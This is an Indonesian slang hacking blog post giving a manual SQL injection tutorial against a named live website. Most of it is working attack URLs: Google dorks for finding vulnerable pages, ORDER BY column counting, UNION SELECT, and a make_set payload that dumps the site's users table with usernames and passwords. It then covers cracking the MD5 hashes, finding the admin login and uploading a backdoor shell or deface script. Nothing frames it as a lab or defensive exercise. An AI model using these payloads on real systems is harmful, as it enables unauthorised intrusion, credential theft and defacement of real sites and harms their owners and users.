Tutorial SQL Injection Manual + Live Target.

Hello Brader Bertemu Lagi Sama Gw NekellGanss. Di kesempatan kali ini gw mau ngasih sedikit methode buat kalian ngeheked by lagi nih:v xixi

Buat Bahan Yang Di Butuhin : 

- Dork : inurl:article.php?ID=

inurl:play_old.php?id=i 

nurl:declaration_more.php?decl_id=

Atau bisa kalian cek di artikel : Dork SQL.

- Script Heked By / ShellBackdor Kalian Biar Kemren:v Anjayyy

- Kopi

- Internet

- Live Target :

http://loopsuae.com/view_product.php?catId=1&id=5

- Dan Yang Paling Penting Kalian Harus Ganss Biar Kea Gw:D

Langkah pertama kalian Dork dulu pake Dork yang udah gw kasih di atas.

Kalo kalian udah dapet target nya,dan kalo yang mau live target bisa cek di atas.

Selanjutnya kita kasih tanda ' di belakang parameter nya yaa.

Jika di website nya muncul (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''5''' at line 1) Itu tanda nya web nya vuln SQL.

Lalu kalian tambahin angka parameter+order+by+1---+- di belakang nya ya. Nah otomatis web nya akan kembali seperti semula

Selanjutnya kalian tinggal nyari kolom nya sampe berapa. 

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+1--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+2--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+3--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+4--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+5--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+6--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+7--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+8--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+9--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+10--+-

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+11--+- 

http://loopsuae.com/view_product.php?catId=1&id=5%27+order+by+12--+- (Error)

Nah disini eror nya di angka 12,jadi kolom nya cuma ada 11.

Oke langsung aja kita tempel ( -angka parameter+union+select+Kolom yang tadi sampe brpa--+- )

http://loopsuae.com/view_product.php?catId=1&id=-5%27+union+select+1,2,3,4,5,6,7,8,9,10,11--+-

Nah begitu oke langsung aja kita cobaa untuk cari tau angka togel nya:D

Nah disini angka togel nya 3 jadi kita eksekusi nya di angka 3 ya.

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@) 

Nah kalian tinggal tempel itu di yang angka togel nya tuh,nah kan gw dapet angka togel nya nomer 3 jadi gw tempel di angka 3.

http://loopsuae.com/view_product.php?catId=1&id=-5%27+union+select+1,2,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),4,5,6,7,8,9,10,11--+-

Nah kan banyak tulisan yang gajelas:v Kalian scroll aja sampe ketemu kolom/table username, password.

daripada kalian pusing mending nge Ekse nya sambil nonton bokep:D

Membuka tabel yg dipilih buat liat informasi

contoh gw mau liat email + password

tinggal lu ubah:

information_schema.columns => jadi kata kunci atau apa ya lupa namanya pokoknya kata yg sama tuh:v [admins]

table_name => jadi imael/username [gw kan ngambil imael tadi]

column_name=> jadi password [password]

Kalo yang masih nanya itu apa yang harus di ubah,bisa kalian baca di atas ya.

Nah kan disini username, password nya ada di colom (users)

Kalian tinggal di ganti aja jadi begini

make_set(6,@:=0x0a,(select(1)from(your website keywords)where@:=make_set(511,@,0x3c6c693e, username,password)),@)

http://loopsuae.com/view_product.php?catId=1&id=-5%27+union+select+1,2,make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3c6c693e,%20username,password)),@),4,5,6,7,8,9,10,11--+-

Nah kan username+password nya udah keliatan, selanjutnya kita harus ngapain? Ngocok Sono ajg:v Ya kita tusbol lah yakali di diemin ae:D

Untuk yang dapet password nya masih jadi MD5, bisa hash di google cari aja MD5 Hash.

Oiya untuk mencari Adlog/admin login nya kalian bisa tambahin /admin /login /adminlogin.php atau bisa juga kalian pake tools admin finder banyak kok di Mbah Google atau di tools anak anak heker:v

Oke mungkin segini dulu yang bisa gw kasih, Tetap semangat dan jangan pernah menyerah.🥴🤙

Mau tau kontak gw? Cari dong kan heker:D

#NekellGanss. #Ex-Team